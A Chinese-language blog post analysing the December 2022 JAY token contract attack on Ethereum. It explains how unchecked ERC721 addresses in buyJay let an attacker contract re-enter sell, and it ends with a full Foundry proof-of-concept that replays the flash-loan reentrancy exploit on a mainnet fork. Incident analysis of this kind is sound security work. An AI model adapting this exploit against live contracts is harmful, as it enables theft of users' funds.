JAY项目攻击事件

  • ilove614
  • 更新于 2023-03-01 00:15
  • 阅读 1295

20221229-JAY-Insufficientvalidation+Reentrancyhttps://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8

20221229 - JAY - Insufficient validation + Reentrancy

https://phalcon.blocksec.com/tx/eth/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

漏洞简介

https://twitter.com/blocksecteam/status/1608372475225866240 https://twitter.com/certikalert/status/1608338952896876551

相关地址和交易

攻击交易:

0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

攻击合约:

0xed42cb11b9d03c807ed1ba9c2ed1d3ba5bf37340

被攻击合约:

0xf2919d1d80aff2940274014bef534f7791906ff2

获利分析

image-20230228202553164.png

攻击过程&漏洞原因

buyJay函数中,没有对参数erc721TokenAddress限制,导致可以是任意地址。

将攻击合约地址写入erc721TokenAddress,这样就能调用transferFrom函数,这里因为地址是攻击合约地址,则可以在攻击合约中,重新定义一个transferFrom函数。这样就能够在buyJay函数中,添加未知的操作。

function buyJay(
        address[] calldata erc721TokenAddress,
        uint256[] calldata erc721Ids,
        address[] calldata erc1155TokenAddress,
        uint256[] calldata erc1155Ids,
        uint256[] calldata erc1155Amounts
    ) public payable {
      ...
      buyJayWithERC721(erc721TokenAddress, erc721Ids);
    }
 function buyJayWithERC721(
        address[] calldata _tokenAddress,
        uint256[] calldata ids
    ) internal {
        for (uint256 id = 0; id < ids.length; id++) {
            IERC721(_tokenAddress[id]).transferFrom(
                msg.sender,
                address(this),
                ids[id]
            );
        }
    }

攻击合约定义的transferFrom函数

这里调用了sell函数,将合约中拥有的Jay卖掉

function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
                    // 卖出当前合约拥有的JAY
            JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell
    }

sell函数:

JAYtoETH这是计算JAY换成eth的函数

function sell(uint256 value) public {
        // 卖出的数量需要大于最小值1000
        require(value > MIN, "Dude tf");

        // 获得JAY能换成的eth数量
        uint256 eth = JAYtoETH(value);
        // 将msg.sender拥有的Jay销毁
        _burn(msg.sender, value);

        // 将90% eth转给msg.sender
        (bool success,) = msg.sender.call{value : eth.mul(90).div(100)}("");
        require(success, "ETH Transfer failed.");
        // 将10% eth / 33转给owner
        (bool success2,) = dev.call{value : eth.div(33)}("");
        require(success2, "ETH Transfer failed.");

        emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
    }

JAYtoETH:

function JAYtoETH(uint256 value) public view returns (uint256) {
        return (value * address(this).balance).div(totalSupply());
 }

目前的程序执行就是这样的:

在执行return (value * address(this).balance).div(totalSupply());这里时,还没有运行_mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));也就是_totalsupply还没有变多,那么这里算出来的eth就会变多,达到了攻击的目的。

function buyJay(
        address[] calldata erc721TokenAddress,
        uint256[] calldata erc721Ids,
        address[] calldata erc1155TokenAddress,
        uint256[] calldata erc1155Ids,
        uint256[] calldata erc1155Amounts
    ) public payable {
        // 需要start = true
        require(start, "Not started!");
        uint256 total = erc721TokenAddress.length;
        // 用ERC721购买Jay
        if (total != 0) buyJayWithERC721(erc721TokenAddress, erc721Ids);
        function buyJayWithERC721(
        address[] calldata _tokenAddress,
        uint256[] calldata ids
       ) internal {
           for (uint256 id = 0; id < ids.length; id++) {
             IERC721(_tokenAddress[id]).transferFrom(
                 msg.sender,
                 address(this),
                 ids[id]
             );
              function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
                    // 卖出当前合约拥有的JAY
                        JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell
                        function sell(uint256 value) public {
                      // 卖出的数量需要大于最小值1000
                      require(value > MIN, "Dude tf");

                      // 获得JAY能换成的eth数量
                      uint256 eth = JAYtoETH(value);
                      function JAYtoETH(uint256 value) public view returns (uint256) {
                                                return (value * address(this).balance).div(totalSupply());
                                        }
                      // 将msg.sender拥有的Jay销毁
                      _burn(msg.sender, value);

                      // 将90% eth转给msg.sender
                      (bool success,) = msg.sender.call{value : eth.mul(90).div(100)}("");
                      require(success, "ETH Transfer failed.");
                      // 将10% eth / 33转给owner
                      (bool success2,) = dev.call{value : eth.div(33)}("");
                      require(success2, "ETH Transfer failed.");

                      emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
                             }
                     }
           }
        }

        // 用ERC1155购买Jay
        if (erc1155TokenAddress.length != 0)
            total = total.add(
                buyJayWithERC1155(
                    erc1155TokenAddress,
                    erc1155Ids,
                    erc1155Amounts
                )
            );
        // 如果个数大于等于100,则转入的钱需要大于等于 total * 0.001 * 10^18 / 2
        if (total >= 100)
            require(
                msg.value >= (total).mul(sellNftFeeEth).div(2),
                "You need to pay ETH more"
            );
        else
            // 小于100,则转入的钱需要大于等于 total * 0.001 * 10^18
            require(
                msg.value >= (total).mul(sellNftFeeEth),
                "You need to pay ETH more"
            );
        // msg.sender 获得 97% ETH等价的JAY
        _mint(msg.sender, ETHtoJAY(msg.value).mul(97).div(100));

        // 转给owner 转入ETH / 34
        (bool success,) = dev.call{value : msg.value.div(34)}("");
        require(success, "ETH Transfer failed.");

        nftsSold += total;

        emit Price(block.timestamp, JAYtoETH(1 * 10 ** 18));
    }

总结

  • 没有对输入的地址进行判断

  • 关键sell函数没有防止重入

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1608372475225866240

// @TX
// https://etherscan.io/tx/0xd4fafa1261f6e4f9c8543228a67caf9d02811e4ad3058a2714323964a8db61f6

interface IJay {
    function buyJay(
        address[] memory erc721TokenAddress,
        uint256[] memory erc721Ids,
        address[] memory erc1155TokenAddress,
        uint256[] memory erc1155Ids,
        uint256[] memory erc1155Amounts
    ) external payable;
    function sell(uint256 value) external;
    function balanceOf(address account) external view returns (uint256);
}

contract ContractTest is DSTest{
        // JAY地址
    IJay JAY = IJay(0xf2919D1D80Aff2940274014bef534f7791906FF2);
    // BalancerVault地址
    IBalancerVault Vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
    // weth地址
    WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16288199);    // Fork mainnet at block 16288199
    }

    function testExploit() public {
        payable(address(0)).transfer(address(this).balance);
        emit log_named_decimal_uint(
            "[Start] ETH balance before exploitation:",
            address(this).balance,
            18
        );
        // Setup up flashloan paramaters.
        // 设置闪电贷的参数,tokens = weth,amounts = 72.5 ether
        address[] memory tokens = new address[](1);
        tokens[0] = address(weth); 
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 72.5 ether;
        bytes memory b = "0x000000000000000000000000000000000000000000000001314fb37062980000000000000000000000000000000000000000000000000002bcd40a70853a000000000000000000000000000000000000000000000000000030927f74c9de00000000000000000000000000000000000000000000000000006f05b59d3b200000";
        // Execute the flashloan. It will return in receiveFlashLoan()
        // 执行flashloan,将钱转入到当前合约地址
        Vault.flashLoan(address(this), tokens, amounts, b);
    }

        // 闪电贷的回调函数
    function receiveFlashLoan(
        IERC20[] memory tokens,
        uint256[] memory amounts,
        uint256[] memory feeAmounts,
        bytes memory userData
    ) external {
        require(msg.sender == address(Vault));

        // Transfer WETH to ETH and start the attack.
        // weth提现
        weth.withdraw(amounts[0]);

                // 花22eth买Jay
        JAY.buyJay{value: 22 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));

                // 将erc721TokenAddress地址设置成本合约地址
        address[] memory erc721TokenAddress = new address[](1);
        erc721TokenAddress[0] = address(this);

                // 将erc721Ids设置成0
        uint256[] memory erc721Ids = new uint256[](1);
        erc721Ids[0]= 0;

        // 花50.5eth购买Jay
        JAY.buyJay{value: 50.5 ether}(erc721TokenAddress, erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
        // 将当前合约拥有的JAY卖出
        // 攻击成功,将JAY卖出换成eth
        JAY.sell(JAY.balanceOf(address(this)));

                // 重复此过程
                // 花3.5eth购买Jay
        JAY.buyJay{value: 3.5 ether}(new address[](0),new uint256[](0),new address[](0),new uint256[](0),new uint256[](0));
        // 花8eth购买Jay
        JAY.buyJay{value: 8 ether}(erc721TokenAddress,erc721Ids,new address[](0),new uint256[](0),new uint256[](0));
        // 将当前合约拥有的JAY卖出
        JAY.sell(JAY.balanceOf(address(this)));

        // Repay the flashloan by depositing ETH for WETH and transferring.
        // 将ETH变成WETH
        address(weth).call{value: 72.5 ether}("deposit");
        // 还钱
        weth.transfer(address(Vault), 72.5 ether);

        emit log_named_decimal_uint(
            "[End] ETH balance after exploitation:",
            address(this).balance,
            18
        );
    }
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
                    // 卖出当前合约拥有的JAY
            JAY.sell(JAY.balanceOf(address(this)));  // reenter call JAY.sell
    }
  receive() external payable {}
}
点赞 0
收藏 1
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
ilove614
ilove614
江湖只有他的大名,没有他的介绍。